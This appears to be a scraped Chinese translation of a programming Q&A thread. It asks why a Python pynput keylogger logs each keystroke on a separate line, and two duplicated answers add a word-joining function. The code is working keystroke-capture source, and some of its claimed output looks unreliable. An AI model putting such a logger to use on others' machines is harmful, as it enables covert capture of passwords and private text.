简单的键盘记录程序“记录文件的问题”

时间:2019-10-31 17:56:43

标签: python keylogger

问题:

记录文件会在每个字符的新行中依次保存一个字符

目标是将所有字符记录在同一行

日志记录或 format 是否存在问题?

代码

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

结果: 记录

->在 File.txt

l

o

g

g

i

n

g

预期结果

记录

->在 File.txt

记录

Like this output is needed

这需要哪种格式?

2 个答案:

答案 0 :(得分:3)

这个功能是捕捉一个词/句子

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

使用这个功能

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

结果 日志记录

-->文件.txt

l

lo

log

logg

loggi

loggin

logging

这种方式更好还是其他方式更好?

不胜感激!

答案 1 :(得分:0)

此功能用于捕获单词/句子

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

使用此功能

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

结果 记录

-> File.txt

l

lo

log

logg

loggi

loggin

logging

这是更好的方法还是其他方法?

我们将不胜感激!